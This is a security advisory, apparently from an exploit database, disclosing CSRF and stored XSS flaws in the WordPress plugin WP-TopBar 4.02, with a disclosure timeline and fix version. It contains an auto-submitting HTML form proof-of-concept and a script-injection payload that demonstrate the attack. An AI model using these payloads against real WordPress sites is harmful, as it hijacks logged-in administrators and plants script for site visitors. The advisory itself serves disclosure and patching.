wordpress wp-topbar 4.02 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Wordpress plugin WP-TopBar 4.02 has CSRF and Stored XSS vulnerabilitie


                                                # Exploit Title: WP-TopBar 4.02 CSRF
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
        CSRF
-------------------


The wp-topbar.php does not utilize a nonce value when submitting any POST
changes.  As a result, this page is vulnerable to Cross Site Request
Forgery.

Proof of Concept Code:

&#60;html&#62;
&#60;head&#62;
    &#60;title&#62;&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form name=&#34;testform&#34; action=&#34;
https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1&#34;
method=&#34;POST&#34;&#62;
    &#60;br&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptbbartext&#34;
value=&#34;&#60;/script&#62;&#60;script&#62;onload=alert(3)&#60;/script&#62;&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptblinktext&#34; value=&#34;whatever&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptblinkurl&#34;
value=&#34;http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fwp-topbar%2F&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptblinktarget&#34; value=&#34;blank&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptbenableimage&#34; value=&#34;false&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;wptbbarimage&#34; value=&#34;&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;update_wptbSettings&#34;
value=&#34;Update+Settings&#34;&#62;

&#60;/form&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
        document.testform.submit();
    &#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

This script takes advantage of a logged in user to submit the required
variables needed to update an existing TopBar with the required settings
that commits and executes a Stored XSS vulnerability from a previous
disclosure.  In this example it was tested against a wordpress application
running on ?localhost? and altered a TopBar with the ?id? of 1.  This
version of WP-TopBar creates a default TopBar with the id of 1 upon
installation.  Any subsequent TopBar created has an id incremented.  It can
be assumed that a user is more then likely to still have the default TopBar
and easily attack it.

# Vulnerability Timeline
2012-09-04 ? Vulnerability Reported
2012-09-05 ? Developer Acknowledges
2012-09-10 ? Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

-- 
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec &#60;https://twitter.com/#%21/entresec&#62;


# Exploit Title: WP-TopBar 4.02 Authenticated Stored XSS
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
-------------------
  Stored XSS
-------------------

The message field (wptbbartext variable) of the wp-topbar.php page is
vulnerable to Stored Cross-site Scripting.  This variable is only
accessible via the admin menu of the plugin.

The following code is an example:

&#60;/script&#62;&#60;script&#62;alert(3)&#60;/script&#62;

This code is committed to the database upon submission and will run both
under the admin interface when the bar is shown as a preview as well as the
front facing page where the bar is set to display.

# Vulnerability Timeline
2012-09-04 ? Vulnerability Reported
2012-09-05 ? Developer Acknowledges
2012-09-10 ? Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

-- 
Blake Entrekin
Independent Security Consultant/
Web Penetration Tester
http://EntreSec.blogspot.com
Twitter: @entresec &#60;https://twitter.com/#%21/entresec&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1